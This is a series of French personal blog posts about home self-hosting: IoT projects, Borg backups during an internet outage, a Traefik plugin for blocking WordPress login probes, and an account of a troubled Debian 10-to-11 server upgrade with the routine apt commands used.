Il y a quelques semaines, j’avais analysé un phishing que j’avais reçu sur une de mes boîtes mail. Finalement, il faudrait que j’organise mes notes et que je mette ça au propre, je trouve que c’est un sujet intéressant à partager ici. En revanche, cet article va me demander du temps car je dois m’assurer de bien anonymiser tout ce que je vais publier. De plus, comme j’aime bien le faire, l’article sera plus de la vulgarisation et accessible au plus grand nombre, cela demande encore plus de temps.

Une lampe connectée via mon Raspberry Pi

J’ai dans ma chambre une ampoule Ikea que j’avais l’habitude de contrôler simplement avec sa télécommande. Maintenant, la télécommande communique avec mon Raspberry Pi (en Zigbee) et le Raspberry Pi contrôle lui-même la lampe. Cela me permet de réaliser les actions que je veux directement via la télécommande, c’est une sorte de hack du système. C’est là tout l’intérêt d’avoir des protocoles ouverts sur ces objets connectés.

J’exprimerai mon besoin et la réalisation dans un futur article, mais j’ai encore quelques points de détails à peaufiner avant d’avoir un système qui fonctionne réellement comme je le souhaite. On pourra aussi aborder le sujet des IoT à savoir l’Internet of Things (l’Internet des Objets) pour certains ou Internet of Shit (l’Internet de merde) pour d’autres, notamment du point de vue sécurité et gadget.

Une station météo et un réveil

J’ai actuellement en tête 2 projets Do It Yourself.

Premièrement, une station météo dont j’ai déjà le matériel depuis plusieurs années mais que j’ai du mal à faire avancer (je n’arrive pas à faire fonctionner un des composants et il faudrait que je trouve la motivation).

Enfin, un réveil dont je n’ai pas encore trouvé le matériel ce que je recherche. J’aimerais un écran qui puisse totalement s’éteindre la nuit (je ne veux pas la moindre lumière !). Je souhaiterais ensuite pouvoir le gérer depuis Home Assistant pour le synchroniser avec mon ampoule Ikea au plafond. Ça éviterait d’avoir à gérer une ampoule directement sur le réveil et j’aime bien me réveiller avec une lumière très douce et pas seulement avec un buzzer ou autre son.

Bref, si vous avez des idées ou des retours pour un réveil de ce type, n’hésitez pas à me les partager :)

Mon site de cuisine

J’en parlais en conclusion du dernier article, mais la recette n’est toujours pas arrivée … Je vais essayer de me fixer une nouvelle règle, à savoir une recette tous les 2 mois. Pourquoi cela ? Parce que j’aime bien la cuisine et cela va me permettre de me motiver pour découvrir de nouvelles choses et les partager.

Comme pour ce site, je n’ai pas envie de sortir des recettes pour sortir des recettes, la croûte aux champignons dont je parlais par exemple doit être retravaillée avant de mériter une publication ! Si j’estime que la qualité n’est pas au rendez-vous, ce rythme d’une recette tous les 2 mois ne sera donc pas tenu !

Conclusion

Voilà qui conclue cet article, comme vous le voyez, j’ai pas mal de projets et d’idées en tête, mais il faut désormais les concrétiser. On se retrouve le mois prochain pour l’article sur le phishing avec un exemple concret.

[Pêle-mêle] Mon mois de septembre, en quelques actus

Pofilo — Tue, 28 Sep 2021 00:00:00 +0000

Bonjour à tous,

Ce mois de septembre fut très chargé pour moi ! Je n’ai donc pas eu le temps de m’attarder longuement sur un sujet pour en faire un article dédié. Mais c’est l’occasion pour moi de sortir le 3ème article de la série Pêle-mêle.

Aujourd’hui, on va parler de sauvegardes ainsi que de mes besoins spécifiques qui me poussent à développer un plugin pour Traefik.

Sauvegardes

Contexte

Mon serveur distant est sauvegardé par un script toutes les 12 heures. Les fichiers sont copiés sur un disque dur dans mon appartement à l’aide du logiciel rsync puis sont archivés avec Borg. Chaque dimanche, le script effectue également la commande borg prune de façon à garder les archives selon cette configuration:

Toutes les archives réalisées dans les 48 dernières heures.
1 archive par jour sur les 7 derniers jours.
1 archive par semaine sur les 4 dernières semaines.
1 archive par mois ad vitam æternam.

Cela me permet d’avoir une grande latitude si j’ai besoin de restaurer des données à une date spécifique tout faisant régulièrement le tri pour économiser de la place sur le disque.

Point positif, Borg évite la duplication entre archives. Par exemple si au mois de janvier, j’ai un fichier de 2Go et qu’il reste intouché pendant toute l’année, à la fin, j’aurai 12 archives, mais le total occupé sur le disque pour ce fichier sera de 2Go.

Les données sauvegardées

Tout d’abord, le script (bash) qui réalise les sauvegardes commence à vraiment dater. À l’époque, tous les services présents sur le serveur étaient installés à la main et bichonnés à l’ancienne. Au moment de sauvegarder, je sélectionnais donc la racine du serveur à laquelle j’excluais quelques dossiers comme /var/log, /run ou /tmp mais quand j’avais écrit le script, j’avais commenté le tout avec un TODO qui recommandait de mieux choisir les dossiers. Force est de constater que l’heure est venue de traiter ce TODO !

Bref, je me suis retrouvé par exemple à sauvegarder et archiver /var/lib sur plusieurs années. Le souci est qu’il ne restait plus que 500Go sur les 3To du disque de sauvegarde, j’ai donc investigué et c’est là que je suis (re)tombé là-dessus.

J’ai donc rapidement trouvé la commande borg recreate (documentation présente ici). Il faut cependant faire attention à la version de borg, dans mon cas, je suis en 1.1.16 (avec un borg --version) et il n’est pas nécessaire de faire la commande borg compact citée dans la documentation la plus récente.

Avec cette commande, j’ai pu gagner déjà une trentaine de Go en repassant sur toutes les archives pour supprimer tout ce qui ne nécessite pas un archivage.

Coupure internet

Sauvegarder son serveur distant à domicile nécessite à priori 2 choses: électricité et internet. Eh bien il se trouve que j’ai eu une coupure internet alors que j’étais en plein télétravail vers 14h15 un mardi. Dans la foulée, je réalise alors des tests sur le site d’Orange (je suis chez Sosh), le résultat est le suivant: il faut patienter ou prendre rendez-vous avec un technicien. Je décide de prendre mon mal en patience et je relance le test une petite heure après, puis en début de soirée. Les tests ont tous deux ressorti les mêmes conclusions.

En fin de soirée, après discussion avec mes voisins, je suis le seul de l’immeuble sans internet, je décide de relancer le test (la prise de rendez-vous ne se fait qu’en fin de test). Et au moment où je clique sur le bouton pour lancer le test, SURPRISE, un message m’indique qu’on est limité à 3 tests par jour … Au réveil, je relance enfin le test qui me permet de prendre rendez-vous pour le lendemain (plage horaire entre 8h et 13h, heureusement que je peux faire du télétravail …).

Le mercredi soir (la veille du rendez-vous pour l’intervention), je me dis que ça fait déjà un bout de temps que je n’ai pas pu réaliser de sauvegardes. Le Raspberry Pi responsable des sauvegardes est branché à la box en Ethernet, j’ai un peu la flemme de lui configurer le Wifi du partage de connexion de mon téléphone. Ma Tour (mon PC principal) est sous Windows (pour pouvoir jouer, c’est le meilleur compromis …), et même avec WSL, je n’ai pas confiance pour utiliser LUKS pour déchiffrer le disque.

Bref, je sors mon vieux portable 10 pouces sous Debian (il faut toujours un PC sous Linux, quoi qu’il en soit …). Je le connecte au Wifi du partage de connexion de mon téléphone et tente de me connecter au serveur, pas de bol la clé SSH du PC n’est pas autorisée par le serveur … Je me connecte alors au serveur via une application SSH sur mon téléphone pour ajouter la clé de mon PC. Ensuite, je peux brancher le disque dur pour lancer le rsync (donc sur ma 4G), et à ce moment-là, je n’ai que 15 minutes avant de devoir partir à un concert (il y a pire comme contrainte, c’est sûr :)). Au moment où je m’apprête à interrompre le rsync, il rend la main comme par magie, la copie est terminée sans erreur ! Parfait ! :)

Pour finir, le jeudi matin, l’intervention aura pris une petite vingtaine de minutes le temps de faire les branchements à l’appartement, descendre jusqu’au boitier fibre, changer le câble, et remonter tester. C’était pour changer, un problème lié à une intervention précédente d’un autre technicien … (la première fois que ça m’arrive cela dit).

Petite morale de l’histoire:

Oui, en cas de coupure internet, je peux tout de même faire des sauvegardes à l’aide de ma 4G (sans en abuser, ce n’est pas illimité …)
Non, en cas de coupure internet, je ne suis pas capable de restaurer tous mes services en cas de pépin sur le serveur (disque qui lâcherait ou autre). Mon site ne pèse que quelques dizaines de Mo (les images) donc c’est bon, idem pour la base de données du gestionnaire de mots de passe (moins de 1Mo), mais Nextcloud pèse presque 200Go donc impossible sur la 4G évidemment.

Ce problème de coupure internet serait encore pire en cas de coupure électrique, car celle-ci entrainerait également une coupure internet …

Développement d’un plugin pour Traefik

Sur mon serveur, je reçois toujours pas mal de requêtes de robots pour s’authentifier sur des chemins connus tels que /wp-admin de Wordpress.

Mon site n’est pas un Wordpress donc les robots tombent sur une erreur 404 puis ils essaient sur quelqu’un d’autre.

Il y a quelques années, j’aurai pu mettre en place une zip bomb. C’est un fichier qui pèse quelques Ko ou Mo réels sur le serveur, mais qui, une fois téléchargé, peut monter à plusieurs To. Par exemple, cette bombe permet de passer de 10 Mo à 281 To.

Mais en 2021, d’un point de vue écologique, ça me paraît bien ridicule, je vais donc mettre en place des règles dans Traefik pour qu’ils tombent directement sur une erreur 403 sans même avoir à charger le CSS et tout le tralala, ils seront alors éjectés au plus tôt en consommant le moins possible de bande passante.

Pour les curieux, avec Traefik c’est tout simple, il suffit d’utiliser ce plugin (miroir ici) qui permet de bloquer des chemins à l’aide d’expressions régulières.

Dans le cas d’un vrai site Wordpress (et j’en héberge), j’aimerais que ces requêtes soient bloquées de la même façon sauf si elles viennent de chez moi.

Je n’ai pas trouvé de fonctionnalité de base ou de plugin pour faire ce genre de choses, j’ai donc commencé le développement d’un plugin dont je vous partagerai le résultat une fois que j’aurai trouvé du temps pour y bosser dessus.

Conclusion

J’espère que ce petit article vous aura plu et intéressé, je n’ai pas trop le temps en ce moment de faire des gros articles comme j’aime bien le faire … Mais j’apprécie quand même ces articles pour vous partager quelques petites geekeries que je traverse !

D’ailleurs, loin de moi l’idée de faire du teasing, mais après presque un an et demi d’absence, une recette va enfin bientôt apparaitre sur mon site de cuisine (qui tourne sur Wordpress d’ailleurs) (et la recette sera une croûte aux champignons, je dis ça, je dis rien !).

[Debian] Retour sur mon passage à la version 11 (Bullseye)

Pofilo — Tue, 31 Aug 2021 00:00:00 +0000

Bonjour à tous,

Aujourd’hui, je vais revenir sur la récente mise à jour du serveur et tout ce que ça a entrainé.

Contexte

Le serveur et le Raspberry

Tout d’abord, pour faire simple, j’ai un serveur chez Kimsufi sur lequel j’héberge la majorité de mes services. À la maison, j’ai un Raspberry Pi 4 (une version 8 Go de RAM qui est tout à fait agréable à utiliser) connecté à un disque dur. Le script qui effectue les sauvegardes du serveur commence par alimenter ce disque dur avec une prise 433 MHz.

Pour revenir sur le serveur, je l’avais installé à l’époque de Debian 9 puis fait la migration sous Debian 10. Presque 15 jours après la sortie de Debian 11 et profitant de mes vacances, je me suis lancé dans la mise à jour du serveur de Debian 10 vers Debian 11.

Par nature, Debian est un système d’exploitation très stable. Chaque version peut donc être utilisée sans soucis de compatibilité entre les logiciels par exemple. L’inconvénient à cela est que ces derniers sont rarement dans leurs toutes dernières versions.

Dans mon cas, tout est conteneurisé dans mon serveur, donc je choisis moi-même la version des services qui tournent sur le serveur. Je n’utilise pas d’orchestrateur mais simplement un script bash qui va lancer les docker-compose.yml décrivant mes services. En parallèle, toutes les données sont centralisées dans un dossier que l’on va appeler /data.

Je n’utilise pas de vrai orchestrateur car lorsque je me suis mis à Docker, je voulais maîtriser la chaine de bout en bout, ça pourrait être une évolution sympathique désormais.

Les machines de test

En plus du serveur et du Raspberry, j’ai également 2 machines virtuelles qui tournent sur Debian comme le serveur.

Le but est d’avoir une machine qui réplique le serveur et l’autre qui sert de client. J’ai donc également une copie du fameux dossier /data sur cette réplique. Je peux donc sans soucis faire des tests sur les machines virtuelles avant de déployer (ou non) sur le serveur de production.

La mise à jour

La procédure

Dans la théorie, la procédure de mise à jour de Debian 10 vers 11 est très simple:

1apt update # pour mettre à jour la liste de dépôts
2apt dist-upgrade # pour mettre à jour le système (sur la toute dernière version de Debian 10 pour l'instant)
3sed -i 's/buster/bullseye/g' /etc/apt/sources.list # on remplace buster par bullseye
4sed -i 's|bullseye/updates|bullseye-security|g' /etc/apt/sources.list # le paramètre semble avoir changé pour <debian-security>
5# Vérifier également dans le dossier /etc/apt/sources.list.d/
6apt update # on remet à jour la liste des dépôts avec les dépôts de Debian 11
7apt full-upgrade # on met tout à jour, ça prend un peu de temps avec quelques questions à répondre
8reboot # on vérifie que tout démarre toujours et on recharge tout proprement

Le test

Je teste tout d’abord sur la première machine virtuelle: tout fonctionne parfaitement sans accrocs. Puis sur la deuxième: même résultat.

Sur le serveur de production

Bien que la mise à jour des machines virtuelles se soit déroulée sans soucis et que mon serveur soit sauvegardé 2 fois par jour, je relance une petite sauvegarde avant de faire quoi que ce soit (on sait jamais !!).

Une fois la sauvegarde terminée, je joue la procédure de la même façon et je finis alors par le reboot et c’est parti pour une ou 2 minutes d’attente.

Finalement, 3-4 minutes après, le serveur ping de nouveau et le SSH est fonctionnel.

Les problèmes

À ce moment-là, il suffit que les containers Docker soient redémarrés et c’est plié. Je lance donc un htop pour voir les services Docker démarrer les uns après les autres … et là c’est le drame.

Les minutes passent, et rien n’apparait.

Je vais voir les logs, et une chose me saute aux yeux:

OCI runtime create failed: container_linux.go:380: starting container process caused: process_linux.go:545: container init caused: process_linux.go:508: setting cgroup config for procHooks process caused: bpf_prog_query(BPF_CGROUP_DEVICE) failed: invalid argument: unknown"

Ce problème ressemble étrangement à ce que j’avais déjà rencontré en essayant de faire tourner une image AMD sur un Raspberry Pi (donc sur ARM). Bizarre, l’erreur doit seulement être ressemblante. Mais le vrai problème est que je n’avais pas vu l’erreur sur les machines de test, donc j’ai le serveur de production qui est en rade …

Je vous passe tous les tests que j’ai faits, je n’ai pas pris le temps de tout noter. Entre autres, j’ai réinstallé intégralement Docker dans les versions avant la mise à jour, mis les mêmes que sur les machines de tests, etc…

Une solution

Après avoir bidouillé pendant environ 2 heures sans trouver de solution, j’ai lancé la réinstallation du serveur. Kimsufi ne propose pas encore Debian 11 donc les étapes que j’ai suivies sont:

Installation de Debian 10.
Mise à jour vers Debian 11.
Installation de Docker et docker-compose.
Copie du dossier /data (plus de 280 Go parce que j’avais mal utilisé l’option --exclude de rsync: je voulais copier les fichiers de Nextcloud dans un second temps mais tant pis …).
Lancement du script qui lance tous les docker-compose.

Conclusion

C’est la première fois depuis avril 2016 (lancement du premier serveur) que j’ai une coupure aussi longue (environ 12h30). La longueur de cette coupure s’explique aussi par le fait que j’avais des choses à faire chez moi et j’avais aussi besoin de dormir et que j’avais loupé ma commande rsync avec l’option --exclude.

Au final, je suis quand même un peu déçu et frustré de ne pas avoir trouvé la vraie solution au problème mais au final, une réinstallation propre de temps en temps n’est pas si mauvaise. De plus, ça aurait pu servir à d’autres personnes qui auraient rencontré le même problème. N’hésitez pas à partager si vous avez aussi eu le problème !

Pour finir, les sauvegardes, c’est la vie, je le répète très souvent, mais c’est indispensable. Mais seules, elles ne servent pas à grand-chose, il faut savoir comment les restaurer, et mis à part ma commande rsync mal écrite, j’ai suivi sans le moindre souci ma procédure de restauration. Donc même avec un pépin dans la mise à jour, une fois la décision prise de réinstaller le serveur, je n’avais plus qu’à copier-coller les commandes à lancer.